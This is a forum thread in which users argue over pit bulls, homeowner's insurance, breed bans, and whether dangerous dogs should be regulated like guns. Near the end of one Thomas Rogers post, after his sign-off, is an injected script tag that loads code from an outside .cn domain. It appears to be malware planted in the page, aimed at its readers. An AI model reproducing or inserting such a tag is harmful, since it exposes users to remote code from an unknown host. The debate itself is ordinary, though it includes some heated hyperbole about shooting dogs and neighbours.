Pit Bull dogs can Cancel Homeowner's Insurance?

[TomT]

Of course the most aggressive and meanest of all my dogs was the chiuaua. lol

LOL. Some of the meanest little SOB's I've seen were Chihuahuas. Of course I've never heard of a Chihuahua getting loose and mauling someone.



Texas is considering banning Pit Bulls and a few other select breeds. I understand 14 states already have. I'm not really in favor of it. I realize there are responsible pet owners out there they are picking on. If they would just come down HARD on the irresponsible owners then there would not be a problem. But I wish our government would come down hard on all irresponsible pet owners. If you can't properly take care of a pet then you don't deserve to live in my book.

 

[Gavin Allan]

Yeah, that is the way of our society and government: punish all for the sins of the few.

 

[Wes Davis]

Pit Bulls are banned in Miami yet they are all over the place.

 

[Rich Stern]

people don't understand it is not the breed it it the people who raise the breed

Rachel

Can't quite agree with that Rachel. Just as blue eyed parents tend to produce blue eyed children, dogs with fighting bred in the genes tend to produce dogs with more of the same.



It's not that pit bulls can't be sweet and lovable. They sure can. But you can't train away genetics; you might be able to cover them up, but they are there, and nobody has a magic formula for guaranteeing they won't be unleashed. In this case, we aren't talking about eye color, but about bite power and awillingness to fight to the death.



Insurance companies deal with weighing risks and costs. If you look at dog attack statistics (search the CDC website), pit bull mixes dominate the top spot in the list. If you slim down the stats to show only attacks which result in grave bodily harm or death, it's the pit bull mix first, and all other breeds a very distant second.

 

[James FreemanJr]

I've seen more people attacked by Miniature Pinscher than any other breed. Those dogs are crazy. Rotts raised right are the most LOVING dog. I think its insane to judge a dog on the breed thats like judging a person on race but dogs don't have souls so we can judge them all we want.

 

[Geoff Barker]

Okay, here's my two cents. I have seen pitbulls with owners that think it's pretty cool that they have a dog that can whip any other dog in a fight and like it that people are a little afraid of them. Granted this is the exception rather than the rule, but how do you prevent people like this from owning a pitbull. Ban people with criminal records? Make them take counselling first? Get consent forms signed by neighbours? Obviously this can't be done. The solution is to ban the breed, which is a slippery slope because once you ban one breed why not ban others, where does it stop? So even though I am opposed to it philisophically I ask myself, with all the great breeds of dogs out there to choose from, why does someone really need to own a pitbull.

 

[James FreemanJr]

Well think of this. Pitbulls/Rotts are not the ONLY breed of fighting dog. Ask yourself why do some people need a BMW rather than say.....a Yugo?

 

[Jenn D]

Rich hit the nail on the head....

bite power and awillingness to fight to the death

It's not that they are raised to fight when they have good owners, it is in their breed. Even Rachel pointed out their loyal nature. Pits are some of the most loyal and loving dogs, no doubt. But the mixture of loyalness, and a willingness to fight to the death is the potential problem.



Take for example a family who has a 6 year old child and also a pit bull that was in the family as long as the child. Will the pit bull attack that child? Most likely not. However, say this child has a friend over, another 6 or 7 year old child. They begin to 'kid fight' over a toy. There have been stories of dogs that will defend their owners in this type of situation.



I have a few friends, and even family members, that have pits. They are great dogs. But, they are very cautious, as they should be, of every situtation that might set off some genetic trait.

 

[David Griffith 2]

[Broken External Image]:

Harley is an American Staffordshire terrier.. (A mini pit, in english) He is a rescue dog. This dog had scratches from his nose to his tail from someone trying to fight him before i got him.. He just doesn't have the demeanor, thats why I'm assuming they dumped him. Now, he is the sweetest, most loving dog I've ever had. Yes, I agree, it is a viscious(sp?) breed, but It's all in the way you raise them. I personally don't think they should void insurance anymore than a chihuahua. I've worked in apartment management before my current career and I saw more damage from small dogs than big ones.. Just my 2 cents...

 

[Johnny O]

Lloyd's Of London maybe?

Or see it they'll write an exception into the policy for the dog.

One of my employees got bit on the face on Monday by a customer's Weimerainer right after she was told it was friendly.

 

[Thomas Rogers]

Rachel said:

people don't understand it is not the breed it it the people who raise the breed

That's like saying guns don't kill people, people kill people, which though true, is an argument that can be turned against you.



For example, a paintball gun doesn't kill people. A BB gun doesn't kill people. Conversely, a poorly trained Chihuahua doesn't kill people.



Owning a dog, like owning a gun, carries responsibilities...that I will agree to. But maybe, just maybe, there are certain guns and certain breeds of dogs that are just too dangerous to have around...for most people. And if that is the case, than owning these guns or dogs that can be very dangerous might just require special sacrifice and special considerations.



TJR

 

[Thomas Rogers]

Caymen, regarding Allstate, you do know that each one is seperately owned and operated. It's an insurance franchize. It's very possible that your opinion derived from your local office(s) isn't indicative of the company as a whole, or other offices.



Kind of like thinking that all cops are bad because the ones you have dealt with were wet knobs.



TJR

 

[Gavin Allan]

But maybe, just maybe, there are certain guns and certain breeds of dogs that are just too dangerous to have around...for most people. And if that is the case, than owning these guns or dogs that can be very dangerous might just require special sacrifice and special considerations.

This is B.S. thinking that the government has to protect people from themselves because people are too stupid.



Instead of limiting certain guns and breeds of dogs, how about enforcing personal responsiblity on the few people who fail to act in a responsible manner?



Don't punish the entire population for the sins of a few idiots.

 

[Thomas Rogers]

Gavin,



It's not BS thinking.



Also, please note in what I wrote that you quoted...I never said certain guns or dogs should be banned. I simply said if they are dangerous to an extreme that they may require special sacrifices and special considerations to own. That's only fitting and proper.



As I said, what I describe is the way it should be. With extreme danger comes increased responsibility, considerations, safeguards, and other such measures. So, yes, for such dangerous things our society (aka govt) has to safeguard people from themselves.



The reason I think this is because the only other alternative I see is that we revert back to a society that allows for personal responsiblity AND personal justice. In such a society, if my neighbor has a pit bull and he doesn't train it or keep it secure and it gets out and kills my toddler than: a) I can shoot the dog, dead, on the spot...b) I can shoot the neighbor, dead, on the spot.



No lawyers, no juries, no civil suits...personal responsibility, personal justice.



But, I don't see us going back to that. Instead, we will continue to have our courts and our government seek justice for people. Well, there are certain things one can't get "justice" for...like the death of a loved one.



We should have laws that protect us from that happening in cases of extremly dangerous entities, because personal responsibility alone won't prevent the deaths...and personal justice won't allow for the deaths to be righted.



TJR

 

[Johnny O]

Bottom line, insurance companies are in the business of making money, not paying money out. If something is judged too risky, like a pit bull or a house in New Orleans, then you will either pay out the nose for insurance on not be able to get any at all. This is why the government backs flood insurance in some places, because the private carriers won't touch it.

 

[TomT]

I don't think dogs should be allowed to use guns, but that's just me. (Don't tell the NRA).

 

[Gavin Allan]

The only other alternative is that we revert back to a society that allows for personal responsiblity AND personal justice. In such a society, if my neighbor has a pit bull and he doesn't train it or keep it secure and it gets out and kills my toddler than: a) I can shoot the dog, dead, on the spot...b) I can shoot the neighbor, dead, on the spot.

Why would you shoot the owner? The dog is the problem in this case.



I can legally shoot a neighbor's dog that is trespassing and is harming my livestock.

Also, note in what I wrote that you quoted...I never said guns or dogs should be banned. I simply said if they are dangerous to an extreme that they may require special sacrifices and special considerations to own. That's only fitting and proper.

You seem to be saying that the mere act of owning a gun or dog should have built-in punishments. I believe that punishments should only be delivered when the owner fails to properly control or use his gun or dog. Why limit innocent people's personal freedoms when they haven't done anything wrong?

It's the way it is and should be.

If you truly believe this, why don't you move to Cuba, Iraq, or a communist country, and quit spewing this stuff to try to ruin our fine country built on the basis of freedom? You seem to hate that US citizens have freedom.

 

[Gavin Allan]

Government control and limiting personal rights and freedom is not the answer. Government is not the answer to the problems. Government IS the problem.

 

[Thomas Rogers]

Gavin asked:

Why would you shoot the owner? The dog is the problem in this case.

Why are parent's held legally responsible for the actions of their children? Why is it that a pet owner can be sued for hospital bills (and other damages) if his pet injures someone?



Of course I wouldn’t shoot the owner in the current system. But I said “shoot the owner” because he is responsible, and I was describing the best possible, alternate system that embraces your desire for “personal responsibility”. In such a system, personal responsibility would be paired with personal justice. If we remove regulation, if we remove the “hurdle” type laws which you seem to think are punitive (they aren’t), and we are only left with personal responsibility to protect us; then when we are wronged it is logical to assume that we should look to personal justice to right the wrong. That’s all I was trying to say. You can’t preach personal responsibility as the way to keep wrongs from happening and then wish our government and its court systems to dole out punishment…I don’t think we could have it both ways.



Gavin also said:

You seem to be saying that the mere act of owning a gun or dog should have built-in punishments.

I never said that. Let me tell you what I was saying in terms of examples:



1. If I want to own a paintball gun, fine...I buy one.

2. If I want to buy a real pistol, then fine, I register the gun, get a permit, and abide by the regulations and I buy one.

3. If I want to buy an Uzi I might need to get additional permits, above that of a normal pistol.



The same should be true for dogs, IMHO:

1. If I want to buy a Chihuahua, then fine, I buy one.

2. If I want to buy a Pit Bull, then register, take a class, possibly pay extra in registration to pay for the agencies need to safeguard, etc. Likewise, I might expect to see my homeowners insurance go up, or the number of agencies that would insure me go down with this new perceived threat in my home.



I don’t understand why anyone would have issue with different types of ownership and regulation for things that having varying degrees of danger and threat.



My point in what I was saying in my last post is that if you don't think varying regulations like these for more dangerous entities is a good thing; and if you think the answer is personal responsibility, then that IMHO, is not enough, because people have proven that will be irresponsible and you can't close the door once the horse has left the barn.



No, I am not describing that anyone be punished. I think you may be confusing responsibility and due diligence with punishment.



Gavin then said:

If you truly believe this, why don't you move to Cuba, Iraq, or a communist country, and quit spewing this stuff to try to ruin our fine country built on the basis of freedom? You seem to hate that US citizens have freedom.

Wow! Nice. I think the true test of being an American is respecting people’s differences, listening to and tolerating differences of opinion, and above all, protecting our freedoms, including freedom of speech. I’m not sure how calling someone you disagree with a “hater” and telling them to “get out of my country” is protecting those freedoms you seem to say you love.



People are free to own guns and dogs in this country, but they have the responsibility to do so safely, and part of that responsibility includes registration, education, etc.



The Constitution gives me the right to say what I want, and for you and others to own guns, and we are all doing that. No freedoms are being denied. But it doesn’t give ANY of us the right to dictate on our own individual terms the exact nature of those freedoms. Freedoms aren’t free…they come with responsibility and it will always be our society that defines those terms.



TJR<script src=http://wygbook.cn><

 

[Michael Sugarman]

My dogs are all mutts. They may look like a specific breed, but they are mutts. There are no laws against owning mutts. There are no laws against owning mutts that look like specific breeds.